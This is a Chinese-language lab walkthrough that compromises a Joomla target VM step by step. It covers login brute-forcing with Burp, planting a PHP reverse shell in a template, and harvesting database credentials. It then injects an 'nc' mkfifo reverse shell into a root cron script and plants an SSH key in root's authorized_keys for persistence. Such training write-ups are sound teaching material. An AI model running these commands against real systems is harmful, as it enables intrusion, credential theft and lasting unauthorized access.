一、渗透总流程
1.确定目标:
在本靶场中,确定目标就是使用各种扫描工具进行ip扫描,确定目标ip。
2.信息收集:
比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如使用Wappalyzer插件、nmap工具等。
3.发现漏洞:
那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。
4.漏洞利用:
漏洞利用就是使用漏洞拿到webshell。
5.权限提升:
权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。
6.权限维持:
在渗透测试过程中,权限维持是指利用已获取的权限、漏洞或凭证,保持长期对目标系统的访问权限,并持续地潜伏在系统内部以获得更多信息或执行更高级别的攻击。权限维持通常发生在成功渗透系统后,攻击者不仅仅是获取对系统的访问权限,还试图保持这种权限,以执行进一步的攻击操作。
二、打靶实例详解
文章内的靶机及脚本关注后私信获取
1.准备阶段
首先将靶机以及kali启动。
注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。
2.信息收集——确认靶机ip
首先确定攻击机kali的ip来确定接下来扫描的网段。
命令:ip a
方法一——fping
命令:fping -g 192.168.10.0/24
方法二——Netdiscover
命令:netdiscover -i eth0 -r 192.168.10.0/24
方法三——arp-scan
命令:arp-scan -l
方法四——nmap
命令:nmap -sP 192.168.10.0/24
在上面扫描出的ip地址中,.1、.2、.254、.132都是kali自身的一些ip地址。
所以通过上面的四种方法均可以确定靶机的ip地址为:192.168.10.176。
3.信息收集——端口扫描
命令:nmap -A -v -sS -sV -p- 192.168.10.176
知识点——nmap参数说明:
-A:详细扫描目标IP,加载所有脚本,尽可能地全面地探测信息
-v:显示详细的扫描过程
-sS:利用TCP SYN扫描
-sV:探测开放
-p-:扫描全部端口
可以看到开放的端口有:
22:SSH服务
80:HTTP服务
4.威胁建模
访问:http://192.168.10.176/
通过Wappalyzer插件得到下面的信息:
Web服务:Apache 2.4.38
操作系统:Debian
5.漏洞探测
通过前面的扫描,可以看到存在开放的80端口,因此猜测其存在HTTP服务。
访问其web服务,默认端口为80。
可以看到一张小丑的图片。
查看网页源代码,可以看到没有什么有价值的信息。
查看robot.txt文件,同样没有什么收获。
安装Gobuster工具。
命令:apt-get install gobuster
接下来通过使用Gobuster和大字典(Kali自带),查找网站部署的服务器,发现了JoomlaCMS。
命令:gobuster dir -u 192.168.10.176 -w /usr/share/dirb/wordlists/big.txt
访问Joomla站点,发现只有一个帖子,其中有电影“小丑”的两个场景对话,还发现一个登录口。
安装Joomscan工具。
命令:apt-get install joomscan
接下来使用Joomscan对站点进行探测。
列出版本信息、敏感目录以及备份文件等有助于寻找漏洞的信息。
命令:joomscan -u 192.168.10.176/joomla
6.漏洞利用
使用Cewl工具对Joomla中发现的对话内的单词创建一个自定义词典。
命令:cewl -m 5 http://192.168.10.176/joomla/ > dic-words.txt
命令解释:常用于密码破解的准备工作,生成一个基于目标网站内容的密码字典。 -m 5 参数表示生成一个最小长度为5个字符的单词列表。它从指定的URL http://192.168.10.176/joomla/ 中提取文本,然后将提取的内容输出到一个名为 dic-words.txt 的文件中。
查看生成的字典。
接下来利用刚刚生成的字典对网页内的登录口进行爆破。
首先启动burp打开拦截器。
开启浏览器内的代理。
在登录口随便输入账号密码后点击Log in。
此时可以看到burp拦截到的数据包。
鼠标右键点击数据包后将其发送到Intruder。
在Intruder页面先确认选取Sniper,然后将username改为joomla,选中之前登录口随便填写的密码使用Add给password加上标记。
打开Payloads界面进行相关配置。
选取Simple list格式。
在下方点击load填入之前创建的密码字典dic-words.txt。
导入字典后点击Start attack开始爆破。
等待爆破解释后通过Lenght对结果筛选,得到密码Gotham。
使用username为joomla和password为Gotham尝试登陆,发现登录成功。
在枚举过程中我们嗅探到joomla下有administrator目录,尝试访问一下,发现可以成功访问。
使用刚刚爆破得到的用户名和密码登录。
发现登录成功。
接下来尝试在这个站点内建立一个反弹shell。
打开Extensions->Templates->Styles。
可以看到Beez3和protostar两个目录。
点击Protostar打开protostar目录。
进入/index.php页面进行编辑。
为了后续方便代码的复制粘贴,安装gedit工具。
命令:apt-get install gedit
进入到/usr/share/webshells/php目录,找到php-reverse-shell.php文件复制整个文件的代码。
命令:cd /usr/share/webshells/php
命令:gedit php-reverse-shell.php
用复制的shell脚本替换掉/index.php中的原始代码。
在第49行和50行找到ip和port。
将ip更改为攻击机kali的IP,这里为Kali IP:192.168.10.132。
端口可以自己设定,这里设置为5555。
点击左上角的save进行保存。
之后在kali中打开监听,重新访问“192.168.10.176/joomla/index.php”页面,在Kali中可以看到反弹成功。
命令:nc -lnvp 5555
地址:192.168.10.176/joomla/index.php
使用python3打开一个bash终端。
命令:python3 -c "import pty;pty.spawn('/bin/bash')"
查看home目录发现三个用户。
命令:ls /home
进入到/var/www/目录并查看,发现有html和joomla2两个文件夹。
命令:cd /var/www/ && ls -a
进入到joomla2文件夹内并查看,发现了configuration.php文件。
命令:cd joomla2 && ls -a
查看该文件,发现了一个数据的用户名和密码。
命令:cat configuration.php
用账号joomla和密码babyjoker尝试登录数据库,发现登录成功。
命令:mysql -u joomla -p
在数据库内查找有用的信息,查看是否有存储用户名和密码的文件。
命令:show databases;
命令:use batjoke;
成功找到密码信息如下图所示。
命令:select * from taskforce;
将密码进行base64解密,可以看到解密后的明文。
命令:echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' | base64 -d
- 知识点——命令说明:
这个命令是将给定的Base64编码的字符串解码回原始的文本。具体来说,命令中的 echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' 是将Base64编码的密文输入到管道中,然后 base64 -d 解码这个Base64编码的字符串,并将其转换为原始文本。
7.权限提升
使用前面获取到的密码通过ssh命令尝试进行登录,发现登录成功了。
用户名:rob
密码:??? AllIHaveAreNegativeThoughts???
命令:ssh rob@192.168.10.176
在rob用户的系统中搜索资产,发现一个关于用户的文件user.txt,查看该文件。
命令:ls
查看user.txt文件。
命令:cat user.txt
遍历目录,发现了可疑文件Abnerineedyourhelp。
命令:ls -lna
查看文件,发现一段加密后的话。
命令:cat Abnerineedyourhelp
根据用户名rot联想到疑似是rot13加密,于是利用CyberChef工具尝试解密。
成功解密,得到下图所示的明文。
翻译后的内容如下,可以看到末尾有一段密码。
对上述的密码进行base64解密。
命令:echo 'STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==' | base64 -d
根据上面翻译结果内的提示,尝试利用上面解密出的密码登录用户名为abner的用户,执行命令后发现登录成功到了abner。
命令:su abner
密码:I33hope99my0death000makes44more8cents00than0my0life0
命令:whoami
进入到abner的目录下并进行目录遍历,发现可疑文件info.txt和user2.txt。
命令:cd /home/abner && ls -lna
分别查看两个文件。
命令:cat info.txt
命令:cat user2.txt
翻译得到的内容可以看到其是对Glasgow smile的介绍。
查看命令执行的历史记录。
命令:cat .bash_history
在全盘中搜索与penguin用户相关的文件,找到两条关键信息。
命令:find / -name .dear_penguins.zip 2>/dev/null
来到上面查找到的文件的目录下并查看,可以看到上面搜索到的压缩包。
命令:ls -al /var/www/joomla2/administrator/manifests/files/
将其解压。
命令:cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~ && unzip .dear_penguins.zip
密码:I33hope99my0death000makes44more8cents00than0my0life0
查看.dear_penguins文件。
命令:cat .dear_penguins
翻译得到的内容。
得到penguin用户的密码,使用得到的密码尝试登录用户penguin,发现成功登录。
命令:su penguin
密码:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz
命令:whoami
进入到penguin的目录下并进行目录遍历,查找可疑文件或目录,发现可以目录SomeoneWhoHidesBehindAMask。
命令:cd /home/penguin && ls -lna
进入SomeoneWhoHidesBehindAMask目录并遍历,发现两个可疑文件。
命令:cd SomeoneWhoHidesBehindAMask && ls -lna
查看PeopleAreStartingToNotice.txt。
命令:cat PeopleAreStartingToNotice.txt
翻译得到下面内容,是Joker给Penguin的留言,貌似说正在编写一个程序,只能用root运行,完成以后joker将会拷贝到当前目录。
查看.trash_old文件,可以看到其内容类似于一个shell脚本。
命令:cat .trash_old
结合文件内容,发现.trash_old属于用户penguin,root组并且任何人都可执行。
这个时候联想到需要使用pspy工具监控没有root权限的Linux系统。
前面进行端口扫描的时候存在开放的22端口,并且已经拿到了该系统的登录用户名和密码。
因此尝试利用ssh远程连接进行上传pspy工具。
首先将pspy文件下载到本地。
然后尝试利用ssh连接靶机。
命令:ssh penguin@192.168.10.176
密码:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz
在本机的pspy目录下,启动python的http服务,启动端口可以任意填写但是要注意不要与已经启动服务的端口重复。
命令:python3 -m http.server 5556
启动后访问本地地址进行验证,可以看到可以访问到kali内的文件。
访问地址:http://192.168.10.132:5556/
在靶机上将pspy64wget下来。
命令:wget http://192.168.10.132:5556/pspy64
查看文件pspy64,发现没有权限执行。
命令:ls -lah
修改其权限让其可以执行并进行验证。
命令:chmod +x pspy64
命令:ls -lah
执行pspy,利用其对系统进程进行监控。
命令:./pspy64 -p -i 1000
监听到文件/home/penguin/SomeoneWhoHidesBehindAMask/.trash_old每分钟都执行。
回到前面.trash_old的目录下,使用vim编辑trash_old写入反弹shell(要将末尾的exit 0注释掉)。
命令:vi .trash_old
代码:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.132 5557>/tmp/f
保存并退出::wq!
在kali内开启监听,连接上后,执行whoami或id命令,可以看到此时成功拿到了root权限。
命令:nc -lnvp 5557
命令:whoami
命令:id
查看当前目录下内容,可以看到root.txt文件,查看root.txt。
命令:ls
命令:cat root.txt
上面成功拿到了root权限。
8.权限维持
在渗透测试中,权限维持是非常重要的一步。获取了系统或网络的访问权限后,可以尽量保持这些权限,以便进行后续的深入渗透,如渗透到更深层次的系统等。
首先利用攻击机kali生成公钥私钥对,默认保存在.ssh目录下。
命令:ssh-keygen -t rsa
查看刚刚生成的公钥和私钥,其中id_rsa为私钥,留在攻击机kali内,id_ras.pub为公钥,传到靶机内即可。
命令:cd .ssh
命令:ls -lah
在存放公钥私钥的.ssh目录下启动python的http服务。
命令:python3 -m http.server 5558
将公钥下载到靶机上并查看。
命令:wget http://192.168.10.132:5558/id_rsa.pub
命令:ls
在靶机内查看当前路径,确认是root用户目录后在当前目录下创建.ssh目录。
命令:pwd
命令:mkdir .ssh
命令:ls -alh
在.ssh目录下创建authorized_keys文件。
命令:touch .ssh/authorized_keys
将密钥写入到authorized_keys文件中。
命令:cat id_rsa.pub >> .ssh/authorized_keys
此时使用kali就可以直接连接到靶机的root权限了。
命令:ssh root@192.168.10.176
只要靶机上的公钥文件存在,就可以利用私钥永久拿到靶机的控制权。
至此权限维持操作完成!